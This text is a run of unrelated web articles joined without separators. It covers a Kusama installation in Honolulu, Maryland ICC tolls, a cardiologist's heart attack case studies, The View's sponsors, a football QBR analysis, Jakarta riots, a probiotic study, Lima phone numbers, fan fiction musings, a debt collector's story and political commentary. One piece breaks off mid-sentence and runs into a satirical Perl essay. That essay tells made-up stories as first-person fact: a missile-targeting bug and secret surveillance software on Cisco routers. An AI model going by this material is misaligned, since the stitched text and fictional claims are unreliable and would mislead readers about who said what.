The family plans to start a fund or foundation in Peter de Groot's name between now and the inquest, the conclusions of which may prompt them to file a civil suit, she said, and ended her statement with the words of Henry David Thoreau: "All good things are wild and free."The Surprising Story Behind Those Funky Pink Shapes at Ward Village
You can view Yayoi Kusama’s art installation at the Ward Village Courtyard through May 13.
By Lesa Griffith
Yayoi Kusama, Footprints of Life, 2016, copresented by Honolulu Biennial Foundation, Howard Hughes Corporation and Ward Village.
Photo: AJ feduciA
Those pink fiberglass-reinforced plastic amoebic shapes now on view in the new Ward Village Courtyard make up the city’s first installation by 87-year-old international art phenomenon Yayoi Kusama.
The display comes from the teaming up of the fledgling Honolulu Biennial Foundation with Howard Hughes Corp./Ward Village for Footprints of Life.
If you’ve had the good fortune to experience one of Kusama’s immersive installations, such as Infinity Mirrored Room: The Souls of Millions of Light Years Away now on view at the Broad in Los Angeles or last year’s In Infinity retrospective at Denmark’s Louisiana Museum of Modern Art, Footprints might seem underwhelming. But it is a great, accessible introduction to people not familiar with Kusama’s work.
You can wander in and experience Footsteps 10 a.m. to 5 p.m. daily through May 13. I recently took a friend who doesn’t seek out art and he had a ball. “I’ve got to take photos to send to my arty friends on the Mainland,” he said.
The foundation has scheduled related free programming, such as a sunset tour every Monday evening at 5:30 p.m. And on April 13, Emily J. Sano, the director emeritus of San Francisco’s Asian Art Museum, gives the talk “Yayoi Kusama: The Woman Behind the Dots.”
Kusama was covering walls with polka dots in the 1950s, more than a decade before Yoko Ono was cutting up her clothing. Diagnosed with bipolar schizoaffective disorder, Kusama’s “infinity nets” of dots are interpretations of her hallucinations. Learn about this fascinating artist from an expert. Who says education has to be expensive? Makes for great chatter over your next cocktail klatch at Tchin Tchin!
Lecture: Yayoi Kusama: The Woman Behind the Dots, April 13, 6–7 p.m., Ward Village Courtyard (behind the IBM Building), RSVP: info@honolulubiennial.org (The event is free but seating is limited, so reservations are recommended.)
Lesa Griffith is director of communications at the Honolulu Museum of Art. Born in Honolulu, one of her early seminal art experiences was at the Honolulu Museum of Art, when on a field trip her high school art history teacher pointed out that the ermine cape in Whistler’s Portrait of Lady Meux was not just a cape—it was visual signage leading viewers’ eyes through the painting.Add the Gaithersburg-Germantown Chamber of Commerce to the list of those in support of lower tolls on the Intercounty Connector.
Marilyn Balcombe, CEO and president of the local Chamber, told The Gazette that the road was supposed to alleviate traffic, not raise revenue.
Gaithersburg is the terminus for the ICC (MD-200), an east-west highway that connects Montgomery and Prince George's counties. The ICC opened in 2011 and is Maryland's first all-electronic toll road.
The Washington Post has reported that the highway cost $2.5 billion to build and that the Maryland Transit Authority had to increase its debt in order to do so.
But ever since, motorists and public leaders have complained that the roadway is underused. About this time last year, Montgomery County Councilman Phil Andrews (D-Gaithersburg, Rockville) complained that the toll cost too much and that bringing the cost of the toll down could get more people to use it.
Recently, Andrews reportedly told The Gazette that riding on the ICC felt like being on a "private road or airport runway."
According to Maryland Transportation Authority rates, it costs $8 roundtrip for a regular car to drive from Interstate 370 to Interstate 95 during the morning and evening commute, what are considered peak hours.
That same trip would cost a five-axle truck $48.
The newspaper cited an MTA study that found cutting the toll in half would increase traffic by 50 percent by 2015, though doing so would reduce revenue by about a third—$43.7 million in 2015 as opposed to the expected $65.1 million.
>>> Speak Out: Are ICC tolls too high? Do you think lowering them would get more people to use it?The widow maker heart attack, also known as “the big one”, is an acute occlusion of the left anterior descending (LAD) artery that can lead to severe heart muscle damage and/or death. If not treated in a timely matter, surviving a heart attack of this magnitude is very difficult. While visiting Austin, Texas, my wife and I came across the southwest version of the widow maker. This version is a bronze statue displayed in the Driskill Hotel, by Barvo Walker depicting a runaway horse with a cowboy’s foot caught in the stirrup dragging him as it runs away. His partner’s only option is to shoot the runaway horse and save the cowboy or he will surely meet his demise.
I do not know much about riding a horse, but I have treated several patients with widow maker heart attacks:” the big one”. I would like to share the experience of three patients that have survived a widow maker heart attack, but they all have different outcomes dependent upon lifestyle choices and treatment. During the acute phase of the heart attack, the artery is occluded by a thrombus or blood clot. The lack of blood supply to the heart muscle causes myocardial cell death and progressive loss of cardiac muscle function. Structural changes in the heart muscle leads to left ventricular remodeling with enlargement of the left ventricle and development of congestive heart failure. When treating a heart attack patient, our primary goal is to relieve myocardial ischemia by reopening the occluded artery as quickly as possible so that we can limit the infarct size. We also prescribe medications that reduce the cardiac work and prevent complications such as reocclusion of the artery and development of heart failure. Also, I wanted to provide some insight into the future treatment of patients with myocardial infarction and include a patient that had undergone a “first-in-man” study of allogenic stem cell therapy.
The first patient is in his late forties. He suffered his first widow maker heart attack at the age of 40. He presented at 3:00 am and he was rushed to the cath lab at BBH Princeton where arteriograms are performed. He had a widow maker heart attack, the”big one”and we were able to reopen his artery in 42 minutes. He was treated with a coronary stent but had suffered some heart damage. His left ventricular function was reduced at 30% (normal ejection fraction is 50-55%). The patient continued to smoke and he was non-compliant with his medications. He had hyperlipidemia and hypertension. He presented again in April 2017 with prolonged chest pain. He had been hurting for 13 hours prior to coming to the hospital. He was brought to the cath lab and found again to have a proximal occlusion of the LAD.
Despite the fact that his artery was reopened within 60 minutes, he had waited so long that his heart substantiated significant amount of damage and his left ventricular function was further reduced this time at 20%. With an EF of 20%, he is now at increased risk of heart failure and sudden cardiac death. He will likely need an implantable cardioverter defibrillator, or ICD.
The second patient is a good friend and I have known him for over 25 years. He is an avid cyclist and has always taken care of himself. He does have a family history of heart disease and has hyperlipidemia. In July 2016 while riding his bike, he started experiencing some chest pain. He immediately sought medical attention and presented at BBH Brookwood Hospital where he was taken to the cath lab within an hour and a half of the onset of chest pain. He was found to have a widow maker heart attack, the “big one” with a proximal occlusion of the LAD and was treated with coronary stenting.
Unfortunately, 2 hours later he was taken back to the cath lab because of ongoing chest pain. He was found to have an acute occlusion of his stent and he was treated with further balloon angioplasty and with another coronary stent. His artery had a lot of calcium and it is probable that the first stent closed because of malapposition or not complete expansion of the stent. In any case, an intra-aortic balloon pump was placed and he was kept in the ICU overnight. He was discharged 2 days later and his heart function in the hospital was measured at 30 to 35%. I saw him in the office two weeks later and he was recovering nicely. He was still exercising every day but at a very mild pace on his stationary bike. His echocardiogram performed at that time showed remarkable recovery with an ejection fraction estimated at 40-45 percent. I walked him on the treadmill and he was even able to run without having chest pain. We discussed the possibility of a stem-cell protocol for patients that have suffered a myocardial infarction.
It turns out, however, that he had already undergone stem-cell treatment a year and a half prior. He had been treated by an orthopedic surgeon for arthritis of his knee. He underwent an autologous stem-cell treatment from stem cells that were taken out of his hip and injected into his knee, and for this reason, we could not enroll him in our protocol. We performed an MRI of his heart and found that he had only a small residual damage from his widow maker heart attack and it was astounding to me to find that exercise, physical conditioning, and possibly his own stem cells had mitigated significant damage to his heart and hastened his recovery. The impact of exercise training on cardiac remodeling has been the subject of extensive study. Work on two dimensional echocardiography demonstrated a high prevalence of left ventricular hypertrophy and dilatation. Endurance type exercise, such as cycling, running or swimming, involves sustained elevation in cardiac output with normal to low peripheral vascular resistance causing a volume challenge for the heart and cardiac remodeling. It is possible to think that an increase in myocardial reserve may have contributed to limit the damage caused by the heart attack and hastened recovery.
The third patient is a 55-year-old nonsmoker with a history of diabetes and hyperlipidemia. In 2009 he suffered a widow maker heart attack or the “big one”, with an occlusion of his proximal LAD that was treated with a coronary stent within 78 minutes of presentation to BBH Princeton Hospital.
Two days later he was brought back to the cath lab and treated with an intra-coronary infusion of stem-cells as part of a research protocol. This was a “first-in-man”, adventitial delivery of an allogenic bone marrow derived adherent stem cell (Multistem, Athersys Inc.) in patients, 3-5 days post large myocardial infarction and reduced left ventricular function (ejection fraction < 35%). He underwent 2 injections, each of 25 million stem-cells in the middle portion of the LAD.
He recovered well in 2014 and had a thallium stress test performed showing that he had a small antero-apical scar with mild peri-infarction ischemia and ejection fraction of 48%. In July 2016 he presented to the hospital with a 30 minute episode of chest pain. He had symptoms that were similar to his previous myocardial infarction but he had no further pain upon arrival. His troponin enzymes were negative, indicating absence of new damage. Because he was on a blood thinner, coronary arteriogram was performed 2 days later, and despite the fact that he was pain-free, he was found to have a widow maker blockage with proximal occlusion of the LAD with collateral flow from the left circumflex. The patient again underwent percutaneous intervention and another stent was placed.
He is currently doing well with his heart function with only minimally reduced ejection fraction at 45%. Again in this case, it is remarkable to see very minimal damage and great recovery post myocardial infarction. It is possible to think that stem-cell treatment of his widow maker heart attack may have hastened his recovery and equipped him with tools, such as collateral arteries formed by his own body, that may have prevented further damage. In the study that he was participating in 2009, it was reported that patients similar to him had an average of 13% increase in actual ejection fraction measurement and an average of 25% increase in left ventricular stroke volume. It has been postulated that the effects of Multistem are modulated by paracrine factors and exert some anti-inflammatory and angiogenic properties. Our patient had developed a collateral system that protected him from developing new injury on his second presentation, something he did not have in 2009. We are currently studying the effect of allogenic bone-marrow derived stem cells in the setting of Non-Stemi at BBH Princeton. This will be the focus of our next article at Myheart.net.
4.98 / 5 ( 338 )
Tell Us How We're Doing... Was This Article Helpful?“People have been asking me: what will you acquire? In most cases I gave the obvious response about seeking new directions in these fields and at the same time furthering established dialogues scholars are already engaged in. And that answer is true, but it’s not the full story. What I’m actually looking for is clear, vivid thought.” That’s Jenny Gavacs, the new sociology and Asian studies editor at Stanford University Press, in a recent blog post entitled, “So You’re Writing a Monograph.” She adds, “when a scholar’s writing has been refined to transparency her idea shows through in all its glory.” She has a bit to say about word choice, too; I disagree that “a priori” is “just bluster” but perhaps I am part of the problem.
Meanwhile, Oxford University Press philosophy editor Peter Momtchiloff, in his interview at Aesthetics for Birds (previously), says, “Of course a lot of philosophy is hard work to read. But one thing which I tell my colleagues about philosophers is that they generally have reasons for saying what they say the way they say it rather than some other way. Philosophers’ writing tends to be considered, which is better than unconsidered.” Yes, better than unconsidered, but that on its own is kind of a low bar for readability (and yes, I know that words like “readability” only get in owing to low bars, but this is just a blog post, mkay?).
I think a lot of philosophers take readability as something they have to make a concession to in their writing. That is somewhat understandable, as comprehensiveness and fine distinctions and other aims may take us away from readability. But it is also kind of weird, since the main point of writing, one would think, is to be read. Perhaps it would be good if we had some exemplars of excellent philosophical writing to inspire us, or to emulate. Help us out. What are your examples of philosophy that’s a pleasure to read?NEW YORK, Sept. 18 (UPI) — Several sponsors are pulling out from advertisement slots during The View after hosts mocked Miss America contestant Kelly Johnson for making a speech in her nurse uniform for the pageant’s talent portion.
Both Johnson & Johnson and Eggland’s Best announced via their respective Facebook pages this week they will not advertise between segments on the daytime television program for an unspecified amount of time.
“We disagree with recent comments on daytime television about the nursing profession,” Johnson & Johnson stated Wednesday. “We’re committed to raising the level of awareness about the skill and knowledge that the profession requires, and we send our thanks today and every day to the millions of nurses who touch the lives of patients and their families.”
On Monday, Sept. 14, View co-hosts Michelle Collins and Joy Behar prompted extreme backlash on social media after discussing contestant Kelly Johnson’s choice of talent during the recent Miss America pageant.
“There was this girl who wrote her own monologue and I was like ‘Turn the volume up, this is going to be amazing, let’s listen.’ She came out in a nurse’s uniform and basically read her emails out loud and shockingly did not win,” Collins recounted of the previous night’s televised event.
“Why does she have a doctor’s stethoscope on?” Behar asked, unaware nurses too wear stethoscopes as part of the job.
“She helps patients with Alzheimer’s, which I know is not funny, but I swear you had to see it,” Behar added.
In response to the initial backlash — which prompted the use of hashtags such as #NursesUnite and #NursesMatter — Collins took to Twitter to apologize to nurses writing “You’re the last people I’d ever want to hurt. I’m thankful for all the amazing work you do.”
Co-host Behar apologized on Wednesday’s broadcast of The View, saying “I didn’t know what the hell I was talking about.”
After thousands of nurses and advocates turned against the View hosts for their “ignorant” remarks,
instead of paying for advertisement, sponsor Johnson & Johnson said it will donate some of the money saved to help provide scholarships to nursing students via its app, Donate A Photo, and the Foundation of the National Student Nurses Association.
“For every eligible photo you post through our Donate A Photo app…Johnson & Johnson will donate $1 to provide scholarships…up to $50,000,” the medical and health brand said.
Eggland’s Best followed suit in its response to the Behar and Collins’ comments by announcing it too will pull its advertisements from the program. “Eggland’s Best appreciate’s nurses and values the important role they play in family health,” a statement read. “In light of the comments about the nursing profession recently made on daytime television we will no longer be advertising on the show in question.”A decent number of fans looked at Teddy Bridgewater’s game Sunday — 14 of 18 for 153 yards and a touchdown pass, with another 6 carries for 21 yards and a TD — and decided the Vikings QB was efficient but hardly spectacular in leading a 26-16 victory.
But by one measure — Total QBR, a relatively new stat that has replaced the more traditional passer rating in some circles when gauging a QB’s effectiveness — Bridgewater wasn’t just efficient. He was, in fact spectacular. Some might even say historically great.
He posted a Total QBR of 98.5 on Sunday; the highest a QB can get is 99.9. There were only 12 individual games last season in which a QB had a higher number, and Bridgewater’s 98.5 is the third-best single-game total this season through two weeks. No Vikings QB has posted a higher number than Bridgewater’s 98.5 Sunday since Total QBR started being measured in 2006.
Total QBR is a fairly complicated and still somewhat flawed stat — no measure is perfect, after all. What it aims to do is take into consideration the situations in which plays are made by a quarterback instead of just quantifying raw data like yards, TDs and INTs to help determine what that quarterback’s impact was on a game.
ESPN explains it thusly: The Total Quarterback Rating is a statistical measure that incorporates the contexts and details of those throws and what they mean for wins. It’s built from the team level down to the quarterback, where we understand first what each play means to the team, then give credit to the quarterback for what happened on that play based on what he contributed.
For Bridgewater, that means that on virtually every play in which he participated in a meaningful way (an action play), he did something positive for the Vikings on Sunday. Even his incomplete passes tended to be purposeful throwaways. And his positive-yardage plays tended to be very influential. Consider;
His first run was an 8-yard scamper on 3rd-and-3 on the Vikings’ initial drive, which ended with a 5-yard TD pass to Kyle Rudolph.
His second run was a 1-yard keeper for a TD on 4th-and-goal.
His third run was a 6-yard gain on 3rd-and-6 from the Detroit 7, leading to a 1st-and-goal that Zach Line cashed in for a TD.
Four of his 14 completions were third-down throws that resulted in first downs, and three of those were on 3rd-and-8 or longer. The other was a 49-yarder after a short flip to Adrian Peterson when he avoided pressure (that Peterson caused by missing a block).
So while Bridgewater’s overall numbers didn’t add up to eye-catching totals and the postgame story was the emergence of Peterson after a workhorse day with 29 carries for 134 yards, Bridgewater’s quieter work was arguably just as important or even more so. It’s plausible to think both players benefited from the other’s good work.
I’ll admit I was surprised when I saw Bridgewater’s 98.5 number, but in retrospect it makes sense. (Conversely, he had a dismal 24.6 mark in last week’s loss to the 49ers, which also makes sense).
While Total QBR isn’t a definitive stat, I do find it to be more useful than passer rating. Bridgewater had three games in the 80s last season and four others between 70 and 80. The Vikings were 6-1 in those games. A season mark of 70 is a good threshold for an upper-echelon QB. Nine NFL quarterbacks reached it last season. Bridgewater, as a rookie, finished 17th at 56.9.
For Bridgewater, like so many other young players, the key will be establishing consistency. But if the keeps having games like the one he had Sunday — even without traditional stats |
This defines $expo to be 0.52, and prevents any later statement from changing it. $expo++ results in a fatal error:
Modification of a read-only value attempted at./targetting line 1260.
Anyway, here's how I used $expo in my Perl program:
$thrust = $rho * $A0 * (2 * ($p-$p0) / $rho) ** $expo ** 2);
Do you see my mistake? If so, there's a job for you in avionics quality assurance, assuming we still have computers after screwups like these precipitate the post-Holocaust age.
Here's the problem: The ** operator is right-associative. (Go look it up in the perlop documentation if you don't believe me.) What this means is that
$a ** $b ** $c
is not equivalent to
($a ** $b) ** $c
as I had assumed, but
$a ** ($b ** $c)
That's a big problem when your $a, or 2 * ($p - $p0) / $rho in my code, is about two million, your $b is 0.52, and your $c is 2. Perl ends up disagreeing with physics by a factor of more than four, and in such battles physics wins. This error went undetected as my Perl code was translated into C using the Perl Compiler, from C into machine code, and then was burned into missile EPROMs. Six weeks later, the missiles were interred in their silos with inertial guidance systems based on my code. If fired, they would have missed their destination by thousands of miles.
Neither -w nor use strict catches this error. I learned of the mistake only after beginning a new project involving scanning large databases of text for phrases pertaining to national security. My commanding officer said that this was for organizing and categorizing the forty gigabytes of text data NORAD wants put on its intranet, and I believed him, until I found out that he was making monthly trips to Cisco headquarters in San Jose. Turns out that my scanning software has secretly been installed on a large percentage of Cisco routers, so that the DoD could keep tabs on potential espionage suspects.
Eventually, after making sure I wasn't secretly confiding in those "hippie civil libertarians," my commander filled me in. I don't think it was because the higher-ups trusted me, but simply because the droids at the Pentagon were sick of my program alerting them to increasingly popular faux mail fields such as the last line of this header:
From: liberal@bleeding-heart.org To: commie@progressive.edu Subject: The Man keeps putting us down X-NSA: Ortega SDI genetic Khaddafi bullion Cocaine munitions
So all of you radicals who think you're so rebellious and antiestablishmentarian using those headers? Who think you're thwarting Big Brother's sinister attempt to police the millions of messages zipping from liberal to liberal every day? I have three words for you (well, two words and a regexp):
next if /^X-NSA/;
It was during this project that I discovered my mistake with the exponentiation operator. In particular, I was developing heuristics to handle misspellings a little more robustly. You'd be amazed how many people misspell "nuclear", not to mention "klystron". I was using the String::Approx module, which for a given string returns a list of similar strings which you can then feed into a regexp. The longer the string, the greater the number of possible near matches. Luckily, the relation between string length and quantity of near matches is exponential. Otherwise the bug in the targeting software might have remained undetected to this day. Sleep tight.
Red Alert!
Sometimes I think working for NORAD is like being a systems administrator. As long as you do your job well, everyone else ignores you with impunity. It's only when crises occur that people notice you, and not many pleasantries get exchanged when that happens.
However, if you ever get the chance to observe see a full-blown military crisis firsthand, I recommend the experience. It's kind of like when the fire alarm goes off in high school. You're pretty sure it's a false alarm. You act like it's a big joke. But there's a little jittery part of you worrying that you will soon be engulfed in a huge scholastic inferno and miss the prom.
When I discovered my error, I couldn't just say "Whoops, guess I really borked that one. I'll just turn off all the nuclear missiles while I fix my code - ah, that's the switch over there on the wall, next to the lights." Nope, deactivating our defense weaponry is a Big Deal, since you don't want spies or moles or lovelorn romantics getting a little poky and paralyzing our nuclear stockpile. But at the same time, the logistical machinery for resolving these crises needs to be fast. Our nuclear missiles were effectively offline, and if a nuclear power suddenly decided to lob a few enriched uranium surprises our way, we'd be impotent.
I told my commander, and he told his colonel, and he barked at one of his henchmen who tapped something into some computer that I'm not even allowed to see. A SPAM was called. SPAM stands for "Standby Potential Armageddon Meeting", presided over by the NORAD shift commander. With every SPAM comes whooping sirens, flashing epilepsy-inducing red lights, and phone calls direct to the vacation cabins of four-star generals. Every SPAM triggers an automatic escalation to DEFCON 3, which means a phone call direct to the President's Chief of Staff. (I e-mailed an apology to his whitehouse.gov address, but he never replied.)
The shift commander, bless his disciplined heart, understood that there was a problem with "EPROMs" and began the discussion asking where we could procure new EPROMs. My captain explained that it wasn't that simple, that you don't just go down to the NORAD general store to buy new EPROMs from the vending machine. He explained that you need to create a program and burn it into a new EPROM, and then he patiently explained that "burn" here had nothing to do with napalm.
He went on to explain that there might be other instances of the bug, since it was due to my misunderstanding of Perl and not a mere typographical error. The question arose of how we could detect and correct all of those bugs immediately. The shift commander went around the table, asking each of us for our recommendation. One officer suggested that we reuse old EPROMs that weren't tainted by the scourge that is Perl; my captain disagreed, saying that the old targetting system was too inaccurate, that we had no choice but to fix our current targetting software by manually checking every one of the thirty-eight programs I had written. I meekly suggested that the task of finding and fixing the bugs could be automated by a Perl script, and it was then that they asked me to leave the room.
_ _END_ _Linear Music Assignment Project
LMAP is a songwriting and recording project that anyone can participate in. The goal of the project is to inspire and to be inspired through the creation of music. Every few months a detailed song assignment will be posted on the assignments page containing specific guidelines to follow. Everything from BPM to lyrical themes to chord structures will be mapped out; all you have to do is follow the rules.
Part of the magic of LMAP is to see the differences in everyone’s music even though they all follow the same set of directions. You retain ownership of your music. So submit some music to LMAP and you may be selected as the featured artist and have a shot at being on the next free LMAP compilation.
Interested in giving LMAP a try?
STEP 1. Create a Soundcloud account so that you can drop your submissions into their dropbox.
STEP 2. Check out the assignments page to view the latest assignment/deadline.
STEP 3. Make beautiful music.
STEP 4. Submit your beautiful music for them to review and have the chance to become a featured artist and the chance to appear on the next free LMAP compilation.
It’s as simple as that.Indonesian President Joko Widodo urged calm early on Saturday as widespread protest in Jakarta gave way to rioting. One person was killed and seven injured as the demonstration turned into gangs of hardline Muslims attacking police officers and setting fire to cars near the presidential palace.
"People should have been dispersed but it ended up in chaos," said Widodo, "I ask the protesters to go home, and let law enforcement do their job in a fair way."
50,000 people gathered in the capital to march against its governor Basuki Tjahaja Purnama. Purnama is part of the Indonesia's Christian minority, and has been accused of insulting the Koran after he told opponents to cease using the text to criticize him ahead of new elections in February.
Widodo: Politicians taking advantage of unrest
Purnama, a staunch Widodo ally, has apologized for causing any offense, but Muslim rivals have capitalized on the opportunity to sow opposition to his leadership. Some have called for his removal under Indonesia's strict blasphemy laws, while more militant figures on the political fringes have even called for his death.
Some 18,000 security forces were deployed across Jakarta on Friday to maintain control over the crowd, but as night fell the peaceful rally descended into violence. As protestors began throwing stones and hurling bottles at police, officers responded with tear gas and water cannons.
It took hours to subdue the rioting as demonstrators dispersed from downtown into parts of impoverished northern Jakarta. At least one man died in the chaos, though authorities said the man was elderly and they had not yet confirmed the cause of death.
Earlier this week, President Widodo had met with political and religious leaders as he looked for a solution to the religious unrest. This was complicated by predecessor Susilo Bambang Yudhoyono supporting the rally on national television, prompting Widodo to decry how "political actors have taken advantage of the situation."
A fierce crusader against corruption, Purnama is seeking a second term as Jakarta's governor – a position once held by Widodo. But he has earned plenty of enemies as his plans for urban renewal have evicted thousands from the city's slums.
es/kl (AP, AFP)In a surprising outcome, scientists who introduced a live probiotic bacterium to the human gut saw them persist there for as long as six months instead of the normally expected two weeks.
The discovery is groundbreaking because bacteria currently used in commercially available probiotic products do not persist in the human gut.
“The study opens the door to being able to specifically modify the human microbiome,” said Jens Walter, the CAIP Chair for Nutrition, Microbes and Gastrointestinal Health at the University of Alberta.
“If a species (of bacteria) is missing, we may be able to reintroduce it,” said Walter, who is also the supervising author of the study.
That’s welcome news because it’s already known that due to our modern diet and antibiotics, as much as 70 per cent of the diversity of bacteria living in our microbiome has disappeared. Scientists believe that this lack of diversity is contributing to a number of diseases, including obesity, Type 2 diabetes and coronary heart disease.
“Modulating or changing this microbiome might provide the opportunity to treat or improve these diseases,” said Walter.
The bacteria involved in this study was a newly developed probiotic called Bifidobacterium longum AH1206.
Probiotics are live bacteria included in food or supplements that are marketed for a number of health-improving claims. Although the idea to stably implant lactic acid bacteria into the human gut was first proposed in a 1907 book by pioneering immunologist Eli Metchnikoff, virtually all research that followed after did not provide evidence that this was actually possible.
So when Walter was asked by a company to test the safety of strain AH1206, he took on the task hoping to determine how the already resident gut microbiome influences the fate of the incoming bacterial strain.
His team was especially interested in strain AH1206, because it belongs to a bacterial species that is a dominant core member of the human microbiome. Most commercially produced probiotics do not contain bacteria that are key players in the human gut because they are difficult to mass produce and still maintain viable in food products.
With a strain of Bifidobacterium longum, Walter hypothesized that he might see extended persistence in the human gut. However, the result exceeded his expectations, as the strain persisted from 88 to 200 days in approximately 30 per cent of individuals.
Since virtually all studies in the probiotic field have been performed with bacteria that have been selected more for historic and practical reasons and not based on ecological criteria, Walter says that the findings of this study warrant further research into the health effects of gut microbes that are native to the human microbiome.
“This study says that if you use an organism adapted to this ecosystem it might be possible to precisely modulate the bacterial community. And that could definitely lead to improvement of therapeutic strategies.”
Researchers on the study included Walter’s post-doctoral fellow Ines Martinez, as well as researchers from the University of Nebraska, University College Cork, the University of Parma and the University of Minnesota.
It is published in the journal Cell Host & Microbe.SERENAZGO
Ancón 727 5346
Ate – Vitarte 417 7575
Barranco 583 0022 - 719 2055
Breña 423 2111
Chaclacayo 358 2415
Chorrillos 251 7001
Jesús María 634 0100
La Molina 313 4495
La Victoria 423 9134
Lima Cercado 318 5050
Lince 621 0900
Los Olivos 613 8210
Magdalena del Mar 418 0710
Miraflores 313 3773
Pueblo Libre 319 3160
Punta Hermosa 230 7937
Punta Negra 994 090 174
Rimac 715 1024
San Borja 631 1000
San Isidro 264 5900 - 319 0450
San Juan de Lurigancho 458 1152
San Luis 250 1152
San Miguel 313 3003
Santa Anita 363 0396
Santiago de Surco 411 5555
Surquillo 448 1680
Ventanilla 631 1414
Villa El Salvador 287 5379
Villa María del Triunfo 496 2000
Callao
Callao 465 7509
Bellavista 628 4603
Carmen de la Legua 464 3747
La Perla 420 5604
La Punta 453 4979Random Thought - Steven Universe SatAM AU
An odd thing to be back for, but this is just a random idea that I’m crossposting from another forum at the kind suggestion of the people there - since they thought people over here might get a kick out of it. Someone in this other thread dubbed it Steven SatAM (after shows like Sonic SatAM), which seemed pretty cool.
A little while ago I had a really weird idea for a semi-real-life AU, which basically started from “I wonder what Steven Universe would’ve been like as a Saturday Morning Cartoon” and then just kind of snowballed from there.
In this alternate universe, the Steven Universe we know and love is actually the modern reboot of a totally radical Saturday Morning Cartoon from 80’s, kind of like the Thundercats or MLP reboots. Check it: In the “original” show of this AU, Steven and the Crystal Gems were a rock band composed of three aliens stranded on Earth and the kid who tagged along with them who somehow turns out to have magical alien powers. The Gems had the power to fuse into a super-fighting alien warrior, which they sometimes did to defeat giant kaiju or robots and such. Greg was their stage manager/Comic Relief. Connie was Steven’s best friend who also tagged along with them in places.
Their archenemy is the evil Peridot (or Dr. Peridot for maximum supervillainy), a Robotnik-esque evil genius (either SatAM or AOSTH, though I see her as being a bit more like the latter) from the Gem Homeworld who invented new deathtraps every week but was always thwarted by her own overconfidence, the incompetence of her brutish but slow-witted minion Jasper, the kindness of her less-than-evil other minion Lapis Lazuli, or The Power of Rock.
In this bizarre alternate world Sugar and the gang would be Running the Asylum, and our Steven Universe is highly reimagined but actually full of mythology gags to the “original” show: like Jasper first showing up working with Peridot (in what would be a role reversal in this universe, with Jasper being the one who’s more in charge), the mecha Peridot uses against Pearl in Back To The Barn, or Peridot’s hammy supervillain-esque behavior after getting stranded on Earth in general. Connie generally being an amazing character would’ve been a response to her original character mostly being a tagalong. Gem fusion would be as major an aspect as it is because it was a favorite concept of original fans, etc.
Right before the end, the “original” would have tried to do something dramatic and start an arc where Steven was revealed to be the long lost son of the Queen of the Gem world: Rose Quartz. Since shows always got cancelled in the middle of arcs back int he day, the show… got cancelled, but the “new” show takes cues from that.
Just random thoughts, mostly, but it does seem like the show loves its fun SatAM concepts, huh?Years as a debt collector: 20
Current job: One more week as a debt collector for an auto finance company
I was absolutely ruthless when I first started out as a debt collector. I had a black heart.If someone told me they only had $150 to their name this month and needed to feed their entire family of five, I would say, "I don't care, this is your fault and you owe the money. Pay it." I would even use blind threats like, "I know where you work" to intimidate them.It was survival of the fittest, and I thought being aggressive was the only way to succeed. And then it became an addiction -- being authoritative and abrasive was like a high.But after a while, I realized that if someone owes one person money, they owe a lot more people money and they really aren't deserving of such harsh treatment. So I changed my style and started being nicer... but I still sue people. It's part of the job.I have one more week here and I can't wait to get out of this line of work. I'm sick of all the agony I put people through. The money was great, and I've been able to support my two daughters because of how much I bring in. But when they say to me, "Dad, I want to do what you do when I grow up," I just tell them, "No, you really don't."Mohammed Khan, vice president of Afghanistan's Chief Executive, Abdullah Abdullah, said the deal between the Hezb-i-Islami and the High Peace Council (pictured above) came "at a critical time." A journalist from Afghan news channel Tolo News tweeted the event.
The 25-point agreement included amnesty for members of the outfit, including those in prison and recognizing the organization as a political party. The council also promised to try and remove Hekmatyar's name from a UN terrorist blacklist. In return, the group would end its war against the Afghan government, respect the country's constitution and cease contact with insurgents.
However, Mohammed Khan said the group's demand that foreign forces leave Afghanistan was put on hold and that international troops would leave the country in agreement with the national government.
Deal yet to be finalized
The deal, which is yet to be finalized by both parties, was being seen as a successful step in the Afghan government's attempts to bring peace in the country. Talks with the Taliban stalled in March this year, after their leader refused to come to the negotiating table.
Hekmatyar is currently believed to be hiding in Pakistan
The Hezb-i-Islami, which is not linked to the Taliban, was one of the seven major mujahideen groups using US assistance to fight the Soviet Union in the 1980s. However, the group refused to join foreign forces after the September 2001 attacks prompted the US to invade the country.
The group's leader, Hekmatyar, was accused of supporting the al Qaeda and the Taliban's terror strikes and designated a "global terrorist" by the US State Department in 2003. His followers were also accused of having killed thousands of people in Kabul during the 1992-1996 civil war.
mg/bw (Reuters, dpa, AP)You’ve probably already heard: Bernie Sanders is white. Of course, all of the nationally recognized Democratic primary candidates had this in common, but Bernie’s whiteness—or, more specifically, his perceived appeal to white voters—has been a chief criticism used to undermine the substance of his movement.
Last week, an article by Terrell Jermaine Starr of The Root picked up the mantle. Sanders, Starr claims, has a “black woman problem.”
Starr is one in a long line of writers making this accusation, though he’s one of the first to narrow the criticism to focus on gender (perhaps as an attempt to negatively distinguish the most popular politician in America, among both blacks and non-blacks, from a more centrist contender for the 2020 ticket, former prosecutor Kamala Harris, who received glowing press last week for her Bail Reform bill). In his recent piece, Star argues that Sanders’ inability to develop wide support among black voters in the 2016 primary disqualifies him from consideration for the 2020 presidential ballot. Starr draws particular attention to Sanders’ particular failure to connect with voters in the south, where the large concentration of African Americans in those states played a significant role in his primary loss. This last fact is undisputed.
But the tone of Starr’s critique, and indeed, the critiques of dozens of others who highlight Sanders’ low black voter turnout, goes beyond the uncontroversial observation that his campaign was shortsighted or ineffective in its approach. Rather, the critiques hint at something deeper—something personal and value-laden—and the popularity of these articles indicates a desire to convey something more than the uncomplicated and unchanging fact that Sanders failed to secure the black vote.
Sen. Sanders, Starr writes, did not simply fail to solicit and secure black votes. His supporters—and, by implication, Sanders himself—“refuse to [consider] the voting power of black women.” That Starr chose the word “refuse” is no accident: it suggests he interprets Sanders’ error as reflective of willful indifference rather than mere political error. According to Starr, Sanders is just another out of touch white politician indifferent to the needs of the black community.
Myriad hypotheses have been developed as to why Sanders’ campaign failed in the south, including the theory that Sanders never thought he could win. In mid-2015, Sanders’ name recognition was at a mere 10 percent among the American public. A poll from October 2015 gave him a 13 percent chance of winning the primary compared to Clinton’s 77 percent—odds that did not begin to shift until after the first primary debate. Recall that the results of the Iowa primary contest, in which Sanders forced the closest margin in the history of the Iowa state caucus, came as a surprise. No campaign allocates resources evenly. To mount a 50-state campaign would have seemed a fool’s errand—not to mention a colossal waste of campaign funds. Remember: Sanders’ undergirding goal was always about spreading his democratic Socialist message—not necessarily attaining the presidency. That being the case, Sanders reasonably anticipated that his concession would come long before the March 1st Super Tuesday primary contest that revealed his weakness in southern states.
